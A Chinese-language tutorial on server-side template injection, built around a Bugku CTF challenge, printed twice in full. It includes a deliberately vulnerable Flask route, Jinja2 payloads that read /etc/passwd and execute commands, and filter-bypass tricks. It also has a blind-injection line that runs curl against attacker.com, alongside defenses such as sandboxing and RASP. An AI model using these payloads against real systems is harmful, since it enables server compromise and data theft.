1. SSTI漏洞攻防基础解析在网络安全领域模板注入漏洞Server-Side Template Injection一直是Web安全测试中的高危风险点。最近在Bugku CTF平台上遇到的一道SSTI入门题让我想起刚接触这个漏洞类型时的探索历程。这道编号为0的题目看似简单却完整呈现了SSTI漏洞的经典攻击链。模板引擎本是为提高开发效率而设计的组件但当用户输入直接拼接到模板中时就会形成注入点。以Python的Jinja2为例当服务端代码类似这样from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vuln) def vuln(): name request.args.get(name) template fh1Hello {name}!/h1 return render_template_string(template)攻击者通过构造特殊输入{{7*7}}若页面返回Hello 49!就确认存在SSTI漏洞。这道CTF题正是利用这个原理设计的入口关卡。2. 漏洞检测与利用全流程2.1 注入点识别技巧在真实测试环境中我通常会采用渐进式检测法数字运算测试输入${7*7}、{{7*7}}、% 7*7 %等不同语法报错信息分析故意输入错误语法如{{观察是否返回模板错误环境探测通过{{config}}、{{self}}等对象查看可用变量重要提示测试时务必使用临时虚拟机环境避免意外执行危险命令影响生产系统2.2 常用Payload构造方法根据不同的模板引擎攻击Payload需要针对性构造。这道题使用的是Flask框架对应的Jinja2引擎常用攻击方式# 读取系统文件 {{ .__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read() }} # 获取命令执行 {{ config.__class__.__init__.__globals__[os].popen(id).read() }}在实际渗透测试中我通常会准备这样的测试字典payloads { Jinja2: [{{.__class__}}, {{config.items()}}], Twig: [{{_self.env.registerUndefinedFilterCallback(exec)}}], Freemarker: [#assign exfreemarker.template.utility.Execute?new()] }3. 防御方案与实战建议3.1 输入过滤的陷阱很多开发者会尝试用黑名单过滤{、}等字符但这种方法存在明显缺陷转义绕过\x7b\x7d等编码形式属性访问request[args]替代request.args字符串拼接{{}}更可靠的方案是严格区分数据与代码# 安全写法 template h1Hello {{ name }}!/h1 render_template_string(template, namerequest.args.get(name))3.2 沙箱环境实践对于必须动态渲染的场景可以采用模板沙箱使用Jinja2的SandboxedEnvironment函数白名单限制可调用方法资源限制通过ulimit控制子进程from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() template env.from_string(user_input)4. CTF解题进阶技巧4.1 对象链挖掘方法当遇到过滤时可以通过以下方式寻找可用对象查看所有子类{{ .__class__.__mro__[1].__subclasses__() }}过滤危险函数|attr(__init__)|attr(__globals__)字符串拼接{{ (request.args.a~request.args.b) }}4.2 无回显利用技巧在Blind SSTI场景下可以采用DNS外带{{ .__class__.__mro__[1].__subclasses__()[213](curl http://attacker.com,shellTrue) }}延时判断{{ if os.system(sleep 5) else }}错误触发通过故意引发错误带出信息5. 企业级防护体系建设在甲方安全工作中我们建立了多层防御开发阶段SAST工具集成模板安全检测测试阶段IAST动态验证渲染上下文运行阶段RASP拦截危险模板操作监控指标示例检测点阈值响应措施模板渲染时间500ms中断并告警反射型模板语法出现1次记录并阻断请求敏感函数调用出现任何立即终止进程这套防护机制在去年拦截了37次针对CMS系统的SSTI攻击尝试其中15次是自动化工具发起的探测。 SSTI漏洞攻防：从原理到实战防御策略
1. SSTI漏洞攻防基础解析在网络安全领域模板注入漏洞Server-Side Template Injection一直是Web安全测试中的高危风险点。最近在Bugku CTF平台上遇到的一道SSTI入门题让我想起刚接触这个漏洞类型时的探索历程。这道编号为0的题目看似简单却完整呈现了SSTI漏洞的经典攻击链。模板引擎本是为提高开发效率而设计的组件但当用户输入直接拼接到模板中时就会形成注入点。以Python的Jinja2为例当服务端代码类似这样from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vuln) def vuln(): name request.args.get(name) template fh1Hello {name}!/h1 return render_template_string(template)攻击者通过构造特殊输入{{7*7}}若页面返回Hello 49!就确认存在SSTI漏洞。这道CTF题正是利用这个原理设计的入口关卡。2. 漏洞检测与利用全流程2.1 注入点识别技巧在真实测试环境中我通常会采用渐进式检测法数字运算测试输入${7*7}、{{7*7}}、% 7*7 %等不同语法报错信息分析故意输入错误语法如{{观察是否返回模板错误环境探测通过{{config}}、{{self}}等对象查看可用变量重要提示测试时务必使用临时虚拟机环境避免意外执行危险命令影响生产系统2.2 常用Payload构造方法根据不同的模板引擎攻击Payload需要针对性构造。这道题使用的是Flask框架对应的Jinja2引擎常用攻击方式# 读取系统文件 {{ .__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read() }} # 获取命令执行 {{ config.__class__.__init__.__globals__[os].popen(id).read() }}在实际渗透测试中我通常会准备这样的测试字典payloads { Jinja2: [{{.__class__}}, {{config.items()}}], Twig: [{{_self.env.registerUndefinedFilterCallback(exec)}}], Freemarker: [#assign exfreemarker.template.utility.Execute?new()] }3. 防御方案与实战建议3.1 输入过滤的陷阱很多开发者会尝试用黑名单过滤{、}等字符但这种方法存在明显缺陷转义绕过\x7b\x7d等编码形式属性访问request[args]替代request.args字符串拼接{{}}更可靠的方案是严格区分数据与代码# 安全写法 template h1Hello {{ name }}!/h1 render_template_string(template, namerequest.args.get(name))3.2 沙箱环境实践对于必须动态渲染的场景可以采用模板沙箱使用Jinja2的SandboxedEnvironment函数白名单限制可调用方法资源限制通过ulimit控制子进程from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() template env.from_string(user_input)4. CTF解题进阶技巧4.1 对象链挖掘方法当遇到过滤时可以通过以下方式寻找可用对象查看所有子类{{ .__class__.__mro__[1].__subclasses__() }}过滤危险函数|attr(__init__)|attr(__globals__)字符串拼接{{ (request.args.a~request.args.b) }}4.2 无回显利用技巧在Blind SSTI场景下可以采用DNS外带{{ .__class__.__mro__[1].__subclasses__()[213](curl http://attacker.com,shellTrue) }}延时判断{{ if os.system(sleep 5) else }}错误触发通过故意引发错误带出信息5. 企业级防护体系建设在甲方安全工作中我们建立了多层防御开发阶段SAST工具集成模板安全检测测试阶段IAST动态验证渲染上下文运行阶段RASP拦截危险模板操作监控指标示例检测点阈值响应措施模板渲染时间500ms中断并告警反射型模板语法出现1次记录并阻断请求敏感函数调用出现任何立即终止进程这套防护机制在去年拦截了37次针对CMS系统的SSTI攻击尝试其中15次是自动化工具发起的探测。